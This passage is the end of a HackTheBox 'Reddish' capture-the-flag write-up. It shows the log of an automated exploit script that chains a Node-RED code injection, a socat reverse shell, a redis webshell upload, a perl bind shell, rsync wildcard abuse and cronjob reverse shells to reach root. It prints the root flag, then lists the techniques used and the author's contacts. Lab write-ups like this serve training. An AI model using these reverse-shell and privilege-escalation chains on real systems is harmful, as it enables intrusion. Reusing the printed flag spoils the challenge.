uid=0(root) gid=0(root) groups=0(root)
root@nodered:/node-red# $ whoami
root
root@nodered:/node-red# $ cd ~
root@nodered:~# $ ls
root@nodered:~# $ exit
exit
[*] Got EOF while reading in interactive
$
$ exit
[*] Closed connection to 10.10.10.94 port 36186
[*] Got EOF while sending in interactive
root@kali:~/hackthebox/machine/reddish# python autopwnreddish.py
What shell do you want?
[1] root@nodered
[2] www-data@www
[3] root@www
[4] root@backup
[5] root@reddish
[6] Exit
Please enter a number 1-6: 5
[+] Getting our id: OK (id = c507228abb96d45d0541fd5eacebd9dd)
[+] Trying to bind to 10.10.14.9 on port 60000: Done
[+] Waiting for connections on 10.10.14.9:60000: Got connection from 10.10.10.94 on port 36192
[+] Loading node-red flows: OK
[+] Injecting base64-encoded socat: OK
[+] Injecting socat reverse shell via nodejs [10.10.14.9:60000]: OK
[+] Uploading 83df6e1b.php on the www container via redis: OK (user = www-data@www)
[+] Sending perl bind shell [www-data@www:62236] via 83df6e1b.php & trying to connect: OK
[+] Exploiting wildcards for privesc. Wait at most 180 secs for rsync backup job to run: OK
[+] Sending a cronjob for bind shell [root@backup:65274]. Please wait: OK
[+] Sending reverse shell cronjob [10.10.14.9:60001] for root@host. Please wait: OK
[+] Trying to bind to 10.10.14.9 on port 60001: Done
[+] Waiting for connections on 10.10.14.9:60001: Got connection from 10.10.10.94 on port 49704
[*] Switching to interactive mode
root@reddish:~# $ id
id
uid=0(root) gid=0(root) groups=0(root)
root@reddish:~# $ whoami
whoami
root
root@reddish:~# $ hostname
hostname
reddish
root@reddish:~# $ ls
ls
root.txt
root@reddish:~# $ cat root.txt
cat root.txt
50d0db644c8d5ff5312ef3d17c2ed205

very very powerful scripts!!!

Summary of knowledge

  • Code Execution and getShell in Node-Red
  • Network Enumeration and ping sweep
  • upgrade path to Meterpreter using sessions -u
  • compolicated port forwarding tech
  • error information disclosure
  • redis service getshell
  • socat port forwarding
  • Exploiting the Wildcard and cronjob to privesc
  • perl and port forwarding to download file
  • use port 873 rsync service and cron job to getshell and privesc
  • beyong root research
  • Dropbear Create Tunnel and get root shell
  • python auto-pwn script

Contact me

  • QQ: 1185151867
  • twitter: https://twitter.com/fdlucifer11
  • github: https://github.com/FDlucifer

I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…